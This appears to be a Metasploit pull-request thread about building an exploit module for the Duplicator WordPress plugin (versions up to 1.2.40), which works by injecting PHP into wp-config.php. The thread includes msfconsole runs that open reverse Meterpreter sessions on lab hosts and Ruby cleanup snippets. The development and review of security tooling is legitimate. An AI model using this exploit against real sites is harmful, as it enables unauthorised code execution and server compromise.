Hi @hypn0s! I can address these changes if you're good with that.

Hi @space-r7 !

Actually, I already made the changes on my side but the resulting code fails to establish a session. If I add a time.sleep before calling the wp-config.php file, it works, without it does not.

Should I commit my code so you can validate the changes and help me figuring out what's wrong?

Hi @space-r7 !

Actually, I already made the changes on my side but the resulting code fails to establish a session. If I add a time.sleep before calling the wp-config.php file, it works, without it does not.

Should I commit my code so you can validate the changes and help me figuring out what's wrong?

Yes, please do!

I pushed my changes with the sleep calls so you can see where I have the issue.

Great! I'll take a look.

I tested with both a restored backup and a backup that hasn't been restored yet (with the sleeps removed). I'm getting sessions for both, but I get Failed to retrieve the archive name for the run without a restored Wordpress installation. Here's the output of the two:

Restored:

msf5 exploit(multi/php/wordpress_duplicator) > set targeturi /wordpress/installer.php
targeturi => /wordpress/installer.php
msf5 exploit(multi/php/wordpress_duplicator) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/php/wordpress_duplicator) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Checking if the wp-config.php file already exists...
[*] All good! Injecting PHP code in the wp-config.php file...
[*] Requesting wp-config.php to execute the payload...
[*] Sending stage (38247 bytes) to 192.168.37.247
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.247:1255) at 2018-11-29 08:26:41 -0600
[*] Cleaning up...

meterpreter > sysinfo
Computer    : WIN-0FAJA14JLP4
OS          : Windows NT WIN-0FAJA14JLP4 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >

Without restore:

msf5 exploit(multi/php/wordpress_duplicator) > set targeturi /wordpress_no_backup/installer.php
targeturi => /wordpress_no_backup/installer.php
msf5 exploit(multi/php/wordpress_duplicator) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Checking if the wp-config.php file already exists...
[*] This WordPress was not restored. Creating the wp-config.php file...
[*] Sending stage (38247 bytes) to 192.168.37.247
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.247:1258) at 2018-11-29 08:27:36 -0600
[*] Cleaning up...
[-] Failed to retrieve the archive name, cannot create the wp-config.php file

meterpreter > sysinfo
Computer    : WIN-0FAJA14JLP4
OS          : Windows NT WIN-0FAJA14JLP4 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter > 

In your case, you might need to add a timeout on the last send_request_cgi if you're not getting any kind of error. The default timeout is 20.

Nevermind on the second output. I think that session was a result of the first run. This is what I get when I run without restoring Wordpress:

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Checking if the wp-config.php file already exists...
[*] This WordPress was not restored. Creating the wp-config.php file...
[-] Failed to retrieve the archive name, cannot create the wp-config.php file
[*] Exploit completed, but no session was created.
msf5 exploit(multi/php/wordpress_duplicator) > 

I don't understand why the ZIP file detection fails. Do you have a line in the installer.php like this?

$GLOBALS['FW_PACKAGE_NAME']             = '20180829_testduplicator_0db8a9891e406d3f9090180829154720_archive.zip'

@hypn0s, here's mine:

$GLOBALS['FW_PACKAGE_NAME']		= '20181127_test_site_126e49aaa44976fa5226181127215223_archive.zip';

Adjusting the timeout in send_request_cgi in the check method results in the detection of the vulnerability. In the first run below, there was no timeout passed to send_request_cgi (although the default is 20). I adjusted the timeout to 40, reloaded the module, and the check method worked.

msf5 exploit(multi/php/wordpress_duplicator) > set targeturi /wordpress_no_backup/installer.php
targeturi => /wordpress_no_backup/installer.php
msf5 exploit(multi/php/wordpress_duplicator) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/php/wordpress_duplicator) > check

[*] Checking URI 192.168.37.247/wordpress_no_backup/installer.php
[*] 192.168.37.247:80 Cannot reliably check exploitability.
msf5 exploit(multi/php/wordpress_duplicator) > reload
[*] Reloading module...
msf5 exploit(multi/php/wordpress_duplicator) > check

[*] Checking URI 192.168.37.247/wordpress_no_backup/installer.php
[+] 192.168.37.247:80 The target is vulnerable.
msf5 exploit(multi/php/wordpress_duplicator) > 

Thank's for the timeout tip! I just committed a patch with it, works very well.

I have no idea why it does not find the ZIP file name, it works well on my side :(

Can you share your installer.php?

No problem! It could just be my test environment. Here's a link: https://gist.github.com/space-r7/83ff20274e74643ee6fe53c63beda342

Also, it looks like Travis may be failing due to this:

modules/exploits/multi/php/wordpress_duplicator.rb:15 - [WARNING] Spaces at EOL

@h00die, @bcoles Are there any more changes that you would like made?

Thank you for you installer.php.
Actually, both archive detection and exploitation work on my side:

20180829_testduplicator_0db8a9891e406d3f9090180829154720_archive.zip
TARGETURI => /installer_space.php
msf5 exploit(multi/php/wordpress_duplicator) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Checking if the wp-config.php file already exists...
[*] This WordPress was not restored. Creating the wp-config.php file...
[*] Found archive name 20181127_test_site_126e49aaa44976fa5226181127215223_archive.zip
[*] Successfully created the wp-config.php file!
[*] All good! Injecting PHP code in the wp-config.php file...
[*] Requesting wp-config.php to execute the payload...
[*] Sending stage (38247 bytes) to 192.168.56.101
[*] Meterpreter session 5 opened (192.168.56.1:4444 -> 192.168.56.101:38564) at 2018-11-30 15:45:59 +0100
[*] Cleaning up...

meterpreter > sysinfo 
Computer    : debian
OS          : Linux debian 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
Meterpreter : php/linux

once the final outputs have been determined, I'd update the scenario in the docs. I believe that's all though

@h00die, @bcoles Are there any more changes that you would like made?

I would like to see more defensive programming. This code strays far from the left margin.

Given that nothing from step 1 is used in step 2, the entirety of the step 1 conditional could easily be abstracting into a create_backup method. The use of return in the step 1 conditional would also need to be replaced with calls to fail_with in the event that the backup could not be created.

I would also like to see changes to the on_new_session method.

The on_new_session method will only be executed when a new session is created. It's entirely possible to not receive a session (due to bad module config, network issues, egress firewall rules, on-access virus scanning, solar flares, etc), despite successful exploitation, in which case this module will leave indicators of compromise.

Given that the functionality within this method does not appear to require a session, nor require any data from other methods in the module, it's likely that this code could be moved to a cleanup method (which is executed automatically upon module completion), or moved to the end of the exploit method, ensuring it's executed only when exploitation was performed.

Typically modules which target the WordPress code are given the prefix wordpress_, where as modules which target WordPress plugins or themes are given the prefix wp_.

# ls -R modules/ | grep wordpress_
wordpress_directory_traversal_dos.rb
wordpress_long_password_dos.rb
wordpress_xmlrpc_dos.rb
wordpress_content_injection.rb
wordpress_cp_calendar_sqli.rb
wordpress_ghost_scanner.rb
wordpress_login_enum.rb
wordpress_multicall_creds.rb
wordpress_pingback_access.rb
wordpress_scanner.rb
wordpress_xmlrpc_login.rb

# ls -R modules/ | grep wp_
wp_custom_contact_forms.rb
wp_easycart_privilege_escalation.rb
wp_gdpr_compliance_privesc.rb
wp_symposium_sql_injection.rb
wp_wplms_privilege_escalation.rb
wp_all_in_one_migration_export.rb
wp_ultimate_csv_importer_user_extract.rb
wp_w3_total_cache_hash_extract.rb
wp_arbitrary_file_deletion.rb
wp_contus_video_gallery_sqli.rb
wp_dukapress_file_read.rb
wp_gimedia_library_file_read.rb
wp_mobileedition_file_read.rb
wp_mobile_pack_info_disclosure.rb
wp_nextgen_galley_file_read.rb
wp_simple_backup_file_read.rb
wp_subscribe_comments_file_read.rb
wp_ninja_forms_unauthenticated_file_upload.rb
wp_responsive_thumbnail_slider_upload.rb
java_jdwp_debugger.rb
wp_admin_shell_upload.rb
wp_advanced_custom_fields_exec.rb
wp_ajax_load_more_file_upload.rb
wp_asset_manager_upload_exec.rb
wp_creativecontactform_file_upload.rb
wp_downloadmanager_upload.rb
wp_easycart_unrestricted_file_upload.rb
wp_foxypress_upload.rb
wp_frontend_editor_file_upload.rb
wp_google_document_embedder_exec.rb
wp_holding_pattern_file_upload.rb
wp_inboundio_marketing_file_upload.rb
wp_infusionsoft_upload.rb
wp_lastpost_exec.rb
wp_mobile_detector_upload_execute.rb
wp_nmediawebsite_file_upload.rb
wp_optimizepress_upload.rb
wp_photo_gallery_unrestricted_file_upload.rb
wp_phpmailer_host_header.rb
wp_pixabay_images_upload.rb
wp_platform_exec.rb
wp_property_upload_exec.rb
wp_reflexgallery_file_upload.rb
wp_revslider_upload_execute.rb
wp_slideshowgallery_upload.rb
wp_symposium_shell_upload.rb
wp_total_cache_exec.rb
wp_worktheflow_upload.rb
wp_wpshop_ecommerce_file_upload.rb
wp_wptouch_file_upload.rb
wp_wysija_newsletters_upload.rb

Well, it looks like the cleaning step does not work because the regex used in the step3 cannot match the MSF payload, I was sure it was working but I guess I was wrong.

Thus, the only way to clean up is to actually have a session and edit or delete the wp-config.php file from session, but I guess it can only be performed manually right?

Well, it looks like the cleaning step does not work because the regex used in the step3 cannot match the MSF payload, I was sure it was working but I guess I was wrong.

Thus, the only way to clean up is to actually have a session and edit or delete the wp-config.php file from session, but I guess it can only be performed manually right?

I commited by changes with fixes and removed the cleanup step because it does not work at all.

Well, it looks like the cleaning step does not work because the regex used in the step3 cannot match the MSF payload, I was sure it was working but I guess I was wrong.

Thus, the only way to clean up is to actually have a session and edit or delete the wp-config.php file from session, but I guess it can only be performed manually right?

I haven't played around with this bug, or this module, so I'm not exactly sure what the problem is here.

If you can't perform cleanup with a HTTP request, you could cleanup with on_new_session.

You can execute operating systems commands, and interact with the filesystem using the msf API, from within the on_new_session method. You could possibly attempt to repair (or remove?) the wp-config file. Alternatively, use a print_warning to remind the operator to review the wp-config.php file.

@h00die's and my comments have been addressed.

I'm not sure about the cleanup - but a solution might become apparent during testing.

Over to you @space-r7

I think we can run

def on_new_session(session)
  session.shell_command_token("rm wp-config.php")
end

without worrying because if the session is established, it means the wp-config.php was overwritten so it is clean to delete it after the session is established.

May I commit this function?

I think we can run

def on_new_session(session)
  session.shell_command_token("rm wp-config.php")
end

without worrying because if the session is established, it means the wp-config.php was overwritten so it is clean to delete it after the session is established.

May I commit this function?

Sounds reasonable, so long as:

• The operator is aware that this will happen
• The shell working directory is the same directory in which wp-config.php is located.
• Maybe it would be better to overwrite the contents of wp-config.php, rather than remove it (???)

You may also need to handle command shell session and meterpreter session like so:

  def on_new_session(client)
    if client.type.eql? 'meterpreter'
      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
      client.fs.file.rm 'wp-config.php'
    else
      client.shell_command_token 'rm wp-config.php'
    end
  end

What if we recreate the wp-config.php after deleting it?

  def on_new_session(client)                                              
    if client.type.eql? 'meterpreter'                                     
      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
      client.fs.file.rm 'wp-config.php'                                   
    else                                                                  
      client.shell_command_token 'rm wp-config.php'                       
    end                                                                   
    create_wp_config_file                                                 
  end                                                                     

This way, the wp-config.php file will be clean.

What if we recreate the wp-config.php after deleting it?

  def on_new_session(client)                                              
    if client.type.eql? 'meterpreter'                                     
      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
      client.fs.file.rm 'wp-config.php'                                   
    else                                                                  
      client.shell_command_token 'rm wp-config.php'                       
    end                                                                   
    create_wp_config_file                                                 
  end                                                                     

This way, the wp-config.php file will be clean.

I think this should be fine.

Hey @hypn0s, I can make the final change in the landing commit. Thank you!

There your go, with my last commit.

Renamed the module to wp_duplicator_code_inject since the vulnerability affects a WordPress plugin.

Tested:

msf5 > use exploit/multi/php/wp_duplicator_code_inject
msf5 exploit(multi/php/wp_duplicator_code_inject) > set rhosts 192.168.37.247
rhosts => 192.168.37.247
msf5 exploit(multi/php/wp_duplicator_code_inject) > set targeturi /wordpress/installer.php
targeturi => /wordpress/installer.php
msf5 exploit(multi/php/wp_duplicator_code_inject) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/php/wp_duplicator_code_inject) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Checking if the wp-config.php file already exists...
[*] All good! Injecting PHP code in the wp-config.php file...
[*] Requesting wp-config.php to execute the payload...
[*] Sending stage (38247 bytes) to 192.168.37.247
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.247:1251) at 2018-12-11 11:46:16 -0600
[*] Attempting to recreate wp-config file...
[*] Found archive name 20181127_test_site_126e49aaa44976fa5226181127215223_archive.zip
[*] Successfully created the wp-config.php file!

meterpreter > sysinfo
Computer    : WIN-0FAJA14JLP4
OS          : Windows NT WIN-0FAJA14JLP4 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >

Release Notes

The Snap Creek Duplicator WordPress Plugin module has been added to the framework. Code execution can be achieved by injecting commands in the wp-config.php file accessible through backup files left by the Duplicator plugin. This affects Duplicator plugin versions <= v1.2.40.